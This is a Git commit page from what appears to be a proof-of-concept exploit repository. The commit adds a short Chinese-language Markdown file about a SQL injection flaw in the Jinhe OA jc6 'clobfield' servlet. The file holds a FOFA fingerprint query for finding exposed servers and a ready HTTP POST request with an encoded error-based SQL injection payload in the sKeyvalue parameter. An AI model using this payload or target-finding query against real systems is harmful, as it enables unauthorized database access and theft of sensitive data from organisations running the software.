admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 金和OA jc6 clobfield SQL注入漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-19 22:15:02 +08:00 committed by GitHub
parent 5050abadfa
commit 28621c5c20
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
金和OA jc6 clobfield SQL注入漏洞.md Normal file
View File

@ -0,0 +1,19 @@
## 金和OA jc6 clobfield SQL注入漏洞
金和OA jc6 ljc6/servlet/clobfield接口处存在SQL注入漏洞，攻击者可获取数据中中敏感信息。
## fofa
```
title="金和协同管理平台" || body="js/PasswordCommon.js" || body="js/PasswordNew.js" || body="Jinher Network" || (body="c6/Jhsoft.Web.login" && body="CloseWindowNoAsk") || header="Path=/jc6" || (body="JC6金和协同管理平台" && body="src=\"/jc6/platform/") || body="window.location = \"JHSoft.MobileApp/Default.htm\";" || banner="Path=/jc6"
```
## poc
```
POST /jc6/servlet/clobfield HTTP/1.1
host:127.0.0.1
key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11%27%2F**%2Fand%2F**%2FCONVERT%28int%2C%40%40version%29%3D1%2F**%2Fand%2F**%2F%27%27%3D%27
```
![image](https://github.com/wy876/POC/assets/139549762/09333181-7373-4930-ad60-91e168709564)